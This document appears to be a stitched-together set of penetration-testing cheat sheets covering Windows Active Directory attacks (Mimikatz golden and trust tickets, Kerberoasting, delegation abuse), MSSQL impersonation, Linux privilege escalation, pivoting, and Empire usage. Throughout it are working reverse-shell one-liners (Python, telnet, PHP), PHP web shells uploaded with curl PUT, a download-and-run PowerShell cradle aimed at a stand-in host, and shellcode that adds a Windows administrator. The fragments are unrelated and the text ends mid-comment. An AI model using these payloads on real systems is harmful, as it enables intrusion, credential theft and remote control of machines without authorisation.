| elseif($PSBoundParameters['RevToSelf']) { | |
| $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf | |
| $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) | |
| $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) | |
| $RetVal = $RevertToSelf.Invoke() | |
| if($RetVal) { | |
| Write-Output "RevertToSelf successful." | |
| } | |
| else { | |
| Write-Warning "RevertToSelf failed." | |
| } | |
| Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" | |
| } | |
| else { | |
| if($Technique -eq 'NamedPipe') { | |
| # if we're using named pipe impersonation with a service | |
| Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName | |
| } | |
| else { | |
| # otherwise use token duplication | |
| Get-SystemToken | |
| } | |
| Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" | |
| } | |
| } |
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| Power Up | |
| Will Run all checks | |
| Invoke-AllChecks | |
| Get Services with unquoted service paths | |
| Get-ServiceUnquoted -verbose | |
| Get services where current user can write to it's binary path | |
| Get-ModifiableServiceFile -verbose | |
| Get the services which current user can modify | |
| Get-ModifiableService -verbose | |
| Manipulating and actually abusing service abuse. | |
| Invoke-ServiceAbuse -Name '<service name>' |
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| Privilege Escalation Across Trusts | |
| 1. Child to Forest Root | |
| 2. Domains in same Forest have an implicit two-way trust with the Forest Root | |
| 3. There is a trust key between the parent and child domains | |
| 4. There are two ways of escalating privileges between two domains of the same forest | |
| - KRBTGT hash | |
| - Trust Tickets | |
| Forging Trust Tickets Child to Forest Root | |
| Invoke-Mimikatz -Command '"lsadump::trust /patch"' | |
| Once we have the Trust Key, let's forge and interrealm TGT | |
| Invoke-Mimikatz -Command '"Kerberos::golden /domain:victim.local /sid:<sid of current domain> /sids:<sid of high level user such as 519, enterprise admin> /rc4:<ntlm hash of trust key> /user:Administrator /service:krbtgt /target:<parent domain> /ticket:<path top .kirbi>"' | |
| Getting a TGS for a service such as CIFS by using the forged trust ticket | |
| .\asktgs.exe C:\Users\pathToTicket.kirbi CIFS/victim.local | |
| Tickets for other services like Host and RPCSS for WMI, HOST ans HTTP for Powershell Remoting and WinRM can also be created | |
| Once we have the TGS for a service, we can ise the TGS to access the targeted service with the following | |
| .\kirbikator.exe lsa .\CIFS.victim.local.kirbi ls \\dc01.victim.local\C$ | |
| Forging a ticket from Child Domain to Forest Root using krbtgt hash | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' | |
| Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<parent domain> /sid:<child domain SID /krbtgt:<hash of child domain krbtgt> /sids:<enterprise admin sid, or whatever sid you want to make up> /ticket:<location of .kirbi file> | |
| On a machine of the parent domain you wanna get into | |
| Invoke-Mimikatz -Command '"kerberos::ptt C:\location_of_.kirbi_file"' |
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| User Impersonation (EXECUTE AS) | |
| Find SQL Server logins which can be impersonated in the current database: | |
| SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' | |
| User Impersonation (EXECUTE AS) (PowerUpSQL) | |
| Find logins which can be impersonated Invoke-SQLAuditPrivImpersonateLogin -Username sqladmin Password PASSw0rd123 -Instance ops-mssql -Verbose | |
| User Impersonation (EXECUTE AS) | |
| Exploiting impersonation | |
| SELECT SYSTEM_USER | |
| SELECT IS_SRVROLEMEMBER('sysadmin') | |
| EXECUTE AS LOGIN = 'dbadmin' | |
| SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') | |
| SELECT ORIGINAL_LOGIN() | |
| User Impersonation (EXECUTE AS) (PowerUpSQL) | |
| Exploiting impersonation (note the difficulty in automating the abuse of chained/nested impersonation) | |
| Invoke-SQLAuditPrivImpersonateLogin -Instance sqlserver01.victim.local –Exploit -Verbose | |
| User Impersonation (EXECUTE AS) | |
| Exploiting chained/nested impersonation | |
| SELECT SYSTEM_USER | |
| SELECT IS_SRVROLEMEMBER('sysadmin') | |
| EXECUTE AS LOGIN = 'dbadmin' | |
| SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') | |
| SELECT ORIGINAL_LOGIN() EXECUTE AS LOGIN = 'sa' | |
| SELECT IS_SRVROLEMEMBER('sysadmin') | |
| TRUSTWORTHY Database | |
| Look for TRUSTWORTHY database (can be done with public role) | |
| SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases | |
| TRUSTWORTHY Database | |
| Look for db_owner role (can be done with public role) | |
| use <database> SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name; | |
| TRUSTWORTHY Database | |
| Look for TRUSTWORTHY database using PowerUpSQL | |
| Invoke-SQLAudit -Instance sqlserver01.victim.local -Verbose | Out-GridView | |
| Invoke-SQLAuditPrivTrustworthy -Instance sqlserver01 -Verbose | |
| TRUSTWORTHY Database | |
| EXECUTE AS to elevate privileges | |
| EXECUTE AS USER = 'dbo' | |
| SELECT system_user | |
| EXEC sp_addsrvrolemember 'domain\user123','sysadmin' |
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| RSS | |
| Search | |
| BlogArchivesScriptsVideos | |
| Basic Linux Privilege Escalation | |
| Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a basic & rough guide. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail". | |
| Enumeration is the key. | |
| (Linux) privilege escalation is all about: | |
| Collect - Enumeration, more enumeration and some more enumeration. | |
| Process - Sort through data, analyse and prioritisation. | |
| Search - Know what to search for and where to find the exploit code. | |
| Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box". | |
| Try - Get ready for (lots of) trial and error. | |
| Operating System | |
| What's the distribution type? What version? | |
| cat /etc/issue | |
| cat /etc/*-release | |
| cat /etc/lsb-release # Debian based | |
| cat /etc/redhat-release # Redhat based | |
| What's the kernel version? Is it 64-bit? | |
| cat /proc/version | |
| uname -a | |
| uname -mrs | |
| rpm -q kernel | |
| dmesg | grep Linux | |
| ls /boot | grep vmlinuz- | |
| What can be learnt from the environmental variables? | |
| cat /etc/profile | |
| cat /etc/bashrc | |
| cat ~/.bash_profile | |
| cat ~/.bashrc | |
| cat ~/.bash_logout | |
| env | |
| set | |
| Is there a printer? | |
| lpstat -a | |
| Applications & Services | |
| What services are running? Which service has which user privilege? | |
| ps aux | |
| ps -ef | |
| top | |
| cat /etc/services | |
| Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check! | |
| ps aux | grep root | |
| ps -ef | grep root | |
| What applications are installed? What version are they? Are they currently running? | |
| ls -alh /usr/bin/ | |
| ls -alh /sbin/ | |
| dpkg -l | |
| rpm -qa | |
| ls -alh /var/cache/apt/archivesO | |
| ls -alh /var/cache/yum/ | |
| Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? | |
| cat /etc/syslog.conf | |
| cat /etc/chttp.conf | |
| cat /etc/lighttpd.conf | |
| cat /etc/cups/cupsd.conf | |
| cat /etc/inetd.conf | |
| cat /etc/apache2/apache2.conf | |
| cat /etc/my.conf | |
| cat /etc/httpd/conf/httpd.conf | |
| cat /opt/lampp/etc/httpd.conf | |
| ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ | |
| What jobs are scheduled? | |
| crontab -l | |
| ls -alh /var/spool/cron | |
| ls -al /etc/ | grep cron | |
| ls -al /etc/cron* | |
| cat /etc/cron* | |
| cat /etc/at.allow | |
| cat /etc/at.deny | |
| cat /etc/cron.allow | |
| cat /etc/cron.deny | |
| cat /etc/crontab | |
| cat /etc/anacrontab | |
| cat /var/spool/cron/crontabs/root | |
| Any plain text usernames and/or passwords? | |
| grep -i user [filename] | |
| grep -i pass [filename] | |
| grep -C 5 "password" [filename] | |
| find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla | |
| Communications & Networking | |
| What NIC(s) does the system have? Is it connected to another network? | |
| /sbin/ifconfig -a | |
| cat /etc/network/interfaces | |
| cat /etc/sysconfig/network | |
| What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? | |
| cat /etc/resolv.conf | |
| cat /etc/sysconfig/network | |
| cat /etc/networks | |
| iptables -L | |
| hostname | |
| dnsdomainname | |
| What other users & hosts are communicating with the system? | |
| lsof -i | |
| lsof -i :80 | |
| grep 80 /etc/services | |
| netstat -antup | |
| netstat -antpx | |
| netstat -tulpn | |
| chkconfig --list | |
| chkconfig --list | grep 3:on | |
| last | |
| w | |
| Whats cached? IP and/or MAC addresses | |
| arp -e | |
| route | |
| /sbin/route -nee | |
| Is packet sniffing possible? What can be seen? Listen to live traffic | |
| 1 | |
| tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 | |
| Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] | |
| Have you got a shell? Can you interact with the system? | |
| nc -lvp 4444 # Attacker. Input (Commands) | |
| nc -lvp 4445 # Attacker. Ouput (Results) | |
| telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! | |
| Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ | |
| Is port forwarding possible? Redirect and interact with traffic from another view | |
| Note: http://www.boutell.com/rinetd/ | |
| Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch | |
| Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip | |
| Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] | |
| FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 | |
| Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] | |
| ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port | |
| ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port | |
| Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe | |
| mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay | |
| mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) | |
| mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) | |
| Is tunnelling possible? Send commands locally, remotely | |
| ssh -D 127.0.0.1:9050 -N [username]@[ip] | |
| proxychains ifconfig | |
| Confidential Information & Users | |
| Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? | |
| id | |
| who | |
| w | |
| last | |
| cat /etc/passwd | cut -d: -f1 # List of users | |
| grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users | |
| awk -F: '($3 == "0") {print}' /etc/passwd # List of super users | |
| cat /etc/sudoers | |
| sudo -l | |
| What sensitive files can be found? | |
| cat /etc/passwd | |
| cat /etc/group | |
| cat /etc/shadow | |
| ls -alh /var/mail/ | |
| Anything "interesting" in the home directorie(s)? If it's possible to access | |
| ls -ahlR /root/ | |
| ls -ahlR /home/ | |
| Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords | |
| cat /var/apache2/config.inc | |
| cat /var/lib/mysql/mysql/user.MYD | |
| cat /root/anaconda-ks.cfg | |
| What has the user being doing? Is there any password in plain text? What have they been edting? | |
| cat ~/.bash_history | |
| cat ~/.nano_history | |
| cat ~/.atftp_history | |
| cat ~/.mysql_history | |
| cat ~/.php_history | |
| What user information can be found? | |
| cat ~/.bashrc | |
| cat ~/.profile | |
| cat /var/mail/root | |
| cat /var/spool/mail/root | |
| Can private-key information be found? | |
| cat ~/.ssh/authorized_keys | |
| cat ~/.ssh/identity.pub | |
| cat ~/.ssh/identity | |
| cat ~/.ssh/id_rsa.pub | |
| cat ~/.ssh/id_rsa | |
| cat ~/.ssh/id_dsa.pub | |
| cat ~/.ssh/id_dsa | |
| cat /etc/ssh/ssh_config | |
| cat /etc/ssh/sshd_config | |
| cat /etc/ssh/ssh_host_dsa_key.pub | |
| cat /etc/ssh/ssh_host_dsa_key | |
| cat /etc/ssh/ssh_host_rsa_key.pub | |
| cat /etc/ssh/ssh_host_rsa_key | |
| cat /etc/ssh/ssh_host_key.pub | |
| cat /etc/ssh/ssh_host_key | |
| File Systems | |
| Which configuration files can be written in /etc/? Able to reconfigure a service? | |
| ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone | |
| ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner | |
| ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group | |
| ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other | |
| find /etc/ -readable -type f 2>/dev/null # Anyone | |
| find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone | |
| What can be found in /var/ ? | |
| ls -alh /var/log | |
| ls -alh /var/mail | |
| ls -alh /var/spool | |
| ls -alh /var/spool/lpd | |
| ls -alh /var/lib/pgsql | |
| ls -alh /var/lib/mysql | |
| cat /var/lib/dhcp3/dhclient.leases | |
| Any settings/files (hidden) on website? Any settings file with database information? | |
| ls -alhR /var/www/ | |
| ls -alhR /srv/www/htdocs/ | |
| ls -alhR /usr/local/www/apache22/data/ | |
| ls -alhR /opt/lampp/htdocs/ | |
| ls -alhR /var/www/html/ | |
| Is there anything in the log file(s) (Could help with "Local File Includes"!) | |
| cat /etc/httpd/logs/access_log | |
| cat /etc/httpd/logs/access.log | |
| cat /etc/httpd/logs/error_log | |
| cat /etc/httpd/logs/error.log | |
| cat /var/log/apache2/access_log | |
| cat /var/log/apache2/access.log | |
| cat /var/log/apache2/error_log | |
| cat /var/log/apache2/error.log | |
| cat /var/log/apache/access_log | |
| cat /var/log/apache/access.log | |
| cat /var/log/auth.log | |
| cat /var/log/chttp.log | |
| cat /var/log/cups/error_log | |
| cat /var/log/dpkg.log | |
| cat /var/log/faillog | |
| cat /var/log/httpd/access_log | |
| cat /var/log/httpd/access.log | |
| cat /var/log/httpd/error_log | |
| cat /var/log/httpd/error.log | |
| cat /var/log/lastlog | |
| cat /var/log/lighttpd/access.log | |
| cat /var/log/lighttpd/error.log | |
| cat /var/log/lighttpd/lighttpd.access.log | |
| cat /var/log/lighttpd/lighttpd.error.log | |
| cat /var/log/messages | |
| cat /var/log/secure | |
| cat /var/log/syslog | |
| cat /var/log/wtmp | |
| cat /var/log/xferlog | |
| cat /var/log/yum.log | |
| cat /var/run/utmp | |
| cat /var/webmin/miniserv.log | |
| cat /var/www/logs/access_log | |
| cat /var/www/logs/access.log | |
| ls -alh /var/lib/dhcp3/ | |
| ls -alh /var/log/postgresql/ | |
| ls -alh /var/log/proftpd/ | |
| ls -alh /var/log/samba/ | |
| Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp | |
| Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/ | |
| If commands are limited, you break out of the "jail" shell? | |
| python -c 'import pty;pty.spawn("/bin/bash")' | |
| echo os.system('/bin/bash') | |
| /bin/sh -i | |
| How are file-systems mounted? | |
| mount | |
| df -h | |
| Are there any unmounted file-systems? | |
| 1 | |
| cat /etc/fstab | |
| What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID | |
| find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. | |
| find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. | |
| find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. | |
| find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID | |
| for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) | |
| # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) | |
| find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null | |
| Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm | |
| find / -writable -type d 2>/dev/null # world-writeable folders | |
| find / -perm -222 -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o w -type d 2>/dev/null # world-writeable folders | |
| find / -perm -o x -type d 2>/dev/null # world-executable folders | |
| find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders | |
| Any "problem" files? Word-writeable, "nobody" files | |
| find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files | |
| find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files | |
| Preparation & Finding Exploit Code | |
| What development tools/languages are installed/supported? | |
| find / -name perl* | |
| find / -name python* | |
| find / -name gcc* | |
| find / -name cc | |
| How can files be uploaded? | |
| 1 | |
| 2 | |
| 3 | |
| 4 | |
| 5 | |
| find / -name wget | |
| find / -name nc* | |
| find / -name netcat* | |
| find / -name tftp* | |
| find / -name ftp | |
| Finding exploit code | |
| http://www.exploit-db.com | |
| http://1337day.com | |
| http://www.securiteam.com | |
| http://www.securityfocus.com | |
| http://www.exploitsearch.net | |
| http://metasploit.com/modules/ | |
| http://securityreason.com | |
| http://seclists.org/fulldisclosure/ | |
| http://www.google.com | |
| Finding more information regarding the exploit | |
| http://www.cvedetails.com | |
| http://packetstormsecurity.org/files/cve/[CVE] | |
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] | |
| http://www.vulnview.com/cve-details.php?cvename=[CVE] | |
| (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk | |
| http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/ | |
| http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/ | |
| Mitigations | |
| Is any of the above information easy to find? | |
| Try doing it! Setup a cron job which automates script(s) and/or 3rd party products | |
| Is the system fully patched? | |
| Kernel, operating system, all applications, their plugins and web services | |
| 1 | |
| 2 | |
| apt-get update && apt-get upgrade | |
| yum update | |
| Are services running with the minimum level of privileges required? | |
| For example, do you need to run MySQL as root? | |
| Scripts Can any of this be automated?! | |
| http://pentestmonkey.net/tools/unix-privesc-check/ | |
| http://labs.portcullis.co.uk/application/enum4linux/ | |
| http://bastille-linux.sourceforge.net | |
| Other (quick) guides & Links | |
| Enumeration | |
| http://www.0daysecurity.com/penetration-testing/enumeration.html | |
| http://www.microloft.co.uk/hacking/hacking3.htm | |
| Misc | |
| http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf | |
| http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf | |
| http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html | |
| Posted by g0tmi1kAug 2nd, 2011 12:00 am bypassing, commands, privilege escalation | |
| « Pentesting With BackTrack (PWB) + Offensive Security Certified Professional (OSCP)De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A} » |
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| windows-exploit-suggester.py --update | |
| windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt | |
| windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' | |
| unquoted service paths | |
| wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ | |
| cacls <file.txt> /t /e /p UserName:F <---Give a user readership of a file through an ACL | |
| Use powershell/management/runas in Empire or post/windows/manage/run_as in Metasploit if you have creds, in order to pop a new shell. | |
| powershell IEX (New-Object Net.WebClient).DownloadString('http://badshit.com') | |
| Powershell Empire | |
| --- | |
| Quick and dirty | |
| ./empire | |
| uselistener http | |
| set Host <your host> | |
| execute | |
| usestager multi/launcher | |
| set Listener http | |
| generate | |
| Edit the install.sh and change all pip install commands to pip2 install | |
| run ./install.sh | |
| set up should complete | |
| ---- | |
| Set up Listener | |
| type in "listener" to the main menu | |
| type in "uselistener <listener type>" | |
| Type in "execute" in order to start the listener | |
| ----- | |
| Set up stager | |
| from anywhere type "usestager windows/launcher_bat" | |
| from stager prompt, type "set Listener <listener name>" | |
| Now type "generate" this will make your payload and place it in the tmp directory | |
| ------ | |
| Now take the malicious file or command and run it on the windows machine | |
| Type in "listeners" to see active listener | |
| Type in "interact <name of listener>" | |
| once interacted with the listener type "rename <name you want>" | |
| interact <agent name> **interacts with active session | |
| once inside of agent you can do the following | |
| usemodule <module name> | |
| ----------------------- | |
| SANS cheatsheet |
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| # configure proxychains | |
| edit the file proxychains.conf | |
| leafpad /etc/proxychains.conf -- at the bottom you will see | |
| this is an example of what you type into your own machine to create a dynamic ssh tunnel | |
| ssh -D 127.0.0.1:8080 sean@192.168.31.251 | |
| [ProxyList] | |
| # add proxy here ... | |
| #socks4 10.1.1.246 80 | |
| #socks4 10.1.1.246 22 sean /dev/null | |
| # meanwile | |
| # defaults set to "tor" | |
| #socks4 127.0.0.1 9050 <--under this line put "socks4 127.0.0.1 8080" <--this will use port 8080 | |
| -------------------------- | |
| on the machine that is being attacked, use the following commands | |
| ssh -f -N -R 2222:127.0.0.1:22 <your username on your computer, IE root>@<your ip address> | |
| ^^^^^^^^^^^ | |
| This is the localhost IP of the webserver you hacked and will use to attack other machines. The command will create the port forwarding shit | |
| -------------------------- | |
| With your machine connecting to the machine you already compromised, you can now use proxychains to attack other machines in the network of the computer you compromised. | |
| I.E. | |
| proxychains nmap -T5 --top-ports=20 -sT -Pn 10.1.1.236 | |
| ---------------------------------------------------------- | |
| ssh -D 127.0.0.1:8080 sean@192.168.31.251 <--your machine | |
| ssh -f -N -R 2222:127.0.0.1:22 root@192.168.30.53 <-----webserver you use to pivot |
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| ssh -D 127.0.0.1:8080 dc01@192.168.0.16 <--your machine to DC | |
| pass = PASSw0rd123 | |
| ssh -D 127.0.0.1:8082 -p 222 dc02@10.0.0.16 <--from the original pivot machine to connect to the new pivot machine. IE - dc01 to dc02 | |
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| Kerberoasting | |
| Find Service accounts with Powerview | |
| Get-NetUser -SPN | |
| Find Service Accounts with ActiveDirectory Module | |
| Get-ADUser -Filter {ServicePrincipalName -ne "$null"} Properties ServicePrincipalName | |
| Requesting Tickets | |
| Request a ticket | |
| Add-Type -AssemblyName System.IdentityModel | |
| New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “MSSQLSvc/pcidata.dude.victim.local:SQLEXPRESS" | |
| (the MSSQLSvc/opsfile.offensiveps.powershell.local parameter above is the service principle name) | |
| Request Tickets using Powerview | |
| Request-SPNTicket | |
| Export all tickets using Mimikatz | |
| Invoke-Mimikatz -Command '"kerberos::list /export"' | |
| Crack the Service account password | |
| python.exe .\tgsrepcrack.py .\passwords.txt '.\240a10000-l abuser@MSSQLSvc~pcidata.dude.victim.local~SQLEXPRESSVICTIM.COM.kirbi' | |
| Or you can just kerberoast that shit and run it through hashcat | |
| Unconstrained Delegation | |
| Discover domain computers which have unconstrainewd delegation enabled using powerview | |
| Get-NetComputer -Unconstrained | |
| Discover domain computers which have unconstrainewd delegation enabled using Active Directory Module | |
| Get-ADComputer -Filter {TrustedForDelegation -eq $True} | |
| Get-ADUser -Filter {TrustedForDelegation -eq $True} | |
| How to abuse Unconstrained Delegation | |
| 1. We Need to compromise the server where Unconstrained Delegation is enabled and wait for or trick a high privilege user to connect to the box. | |
| 2. Once such a user is connected, we can export all the tickets, including the TGT of that user, using the following command. | |
| Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' | |
| 3. Now we can reuse the ticket AKA delegate the fuck out of that admin token | |
| Invoke-Mimikatz -Command '"kerberos::ptt C:\tickets\admin.kirbi"' | |
| Enumerate Users with Constrained Delegation Enabled | |
| Using PowerView(dev branch) | |
| Get-DomainUser -TrustedToAuth | |
| Get-DomainComputer -TrustedToAuth | |
| Using ActiveDirectory Module | |
| Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | |
| Abusing Constrained Delegation | |
| 1. We need to get cleartext password or NTLM hash of the service account. It can then be used with Kekeo (https://github.com/gentilkiwi/kekeo/) with the following command | |
| .\asktgt.exe /user:termadmin /domain:us.funcorp.local /key:<ntlm hash> /ticket:C:\admin_ticket.kirbi | |
| 2. Now, using s4u from Kekeo, request a TGS with the following command | |
| .\s4u.exe /tgt:C:\admin_ticket.kirbi /user:user123@victim.local /service:cifs/pcidata.dude.victim.local | |
| 3. Now we can use the TGS with the following | |
| Invoke-Mimikatz -Command '"kerberos::ptt cifs.pcidata.dude.victim.local.kirbi"' | |
| Remember that delegation is not restricted by SPN, so it is possible to create alternate tickets! |
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| nmap -p 80 192.168.0.105 --script http-put --script-args http-put.url'/test/shell.php',http-put.file='shell.php' | |
| ------------------------------------------- | |
| curl http://victim-site.com --upload-file file.txt | |
| curl -X PUT -d '<?php system($_GET["exec"]); ?>' http://192.168.0.105/test/shell.php | |
| curl -X PUT -d '<?php system($_REQUEST["exec"]); ?>' http://10.11.1.14/shell.asp | |
| then you can enter 192.168.0.105/test/shell.php/?exec=ifconfig | |
| ------------------------------------------- | |
| curl -X PUT -d 'http://10.11.0.220/shell-p-444.asp' http://10.11.1.14/shell.asp | |
| curl -X PUT -d '<?php -r '$sock=fsockopen(10.11.0.220",1234);exec("/bin/sh -i <&d >&%d 2>&%d",f,f,f)' ?>' http://10.11.1.14/shell.txt | |
| curl -X PUT -d '<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>' http://10.11.1.229/poopypants.txt |
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| python -m SimpleHTTPServer 80 | |
| apt-get install python3-dev | |
| apt-get install | |
| pipenv install - install dependencies within a directory, for instance - you grab a new program from github and don't want to install dependencies for that program and mess with other programs. | |
| pipenv shell - After pipenv type in pipenv shell and you will be dropped into a shell within that directory |
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| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
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| Remote in, 70% screen size share drives | |
| rdesktop -u <user> -p <password> \$ <IP address> -g 70% | |
| Simple Rdesktop | |
| rdesktop <IP> | |
| Screen | |
| TBD | |
| Use Clipboard | |
| rdesktop <IP address> -5 -K -r clipboard:CLIPBOARD | |
| Use Credentials | |
| rdesktop <IP address> -5 -K -r clipboard:CLIPBOARD -u <user> -d <domain> -p <password> | |
| Use Credentials, Mount Disk, and Enable Clipboard w/larger resolution | |
| rdesktop <ip address> -5 -K -r clipboard:CLIPBOARD -r disk:tmp=/root/Desktop -u <user> -d <domain> -p <password> -g 1200x1000 |
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| \xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63 | |
| ======================================================= | |
| Add Admin User Shellcode (194 bytes) - Any Windows Version | |
| ======================================================== | |
| Title: Add Admin User Shellcode (194 bytes) - Any Windows Version | |
| Release date: 21/06/2014 | |
| Author: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b) | |
| Size: 194 byte (NULL free) | |
| Tested on: Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3 | |
| Username: BroK3n | |
| Password: BroK3n | |
| \x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7 | |
| =========================================== | |
| /* | |
| Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes | |
| Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com | |
| Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa) | |
| Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111 | |
